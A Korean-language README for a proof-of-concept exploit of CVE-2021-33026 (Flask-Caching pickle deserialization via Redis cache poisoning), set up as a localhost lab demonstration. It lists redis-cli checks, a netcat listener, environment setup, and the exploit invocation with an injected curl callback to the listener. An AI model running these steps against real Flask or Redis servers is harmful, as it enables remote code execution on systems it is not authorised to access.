
CVE-2021-33026에 대한 개념 증명 익스플로잇으로, Flask-Cache에서 pickle 역직렬화를 통한 Redis 캐시 중독을 시연하여 원격 코드 실행을 달성합니다.
Pickle Serialization Remote Code Execution - Redis Poisoning PoC Exploit
Redis 서버가 실행 중인지 확인
redis-cli -h 127.0.0.1 -p 6379 ping
redis-cli keys *
redis-cli get [Keyid]
포트 10001에서 netcat 리스닝 시작 :
nc -nvlp 10001
Flask Chache 환경 설정
python -m venv venv_flask_cache_<lib_ver>
source venv_flask_cache_<lib_ver>\scripts\activate
pip install -r <requirement.txt>
Flask Chache 2.3.0 환경 설정
Flask 앱 실행 및 캐시 키 생성 :
flask run
curl --header "Content-Type: application/json" --request POST --data {"key":"Cachelib_2.3"} http://localhost:5000/cache/new
Flask 앱에서 캐시 키 값 가져오기
curl --request GET http://localhost:5000/cache/[key]
Redis 캐시 포이즈닝을 통한 Flask Cache 익스플로잇 :
cve-2021-33026_PoC.py --rhost 127.0.0.1 --rport 5000 --cacheType redis --cmd "curl http://localhost:10001" --id 41685a90-434e-4d70-9a08-35b78025e09a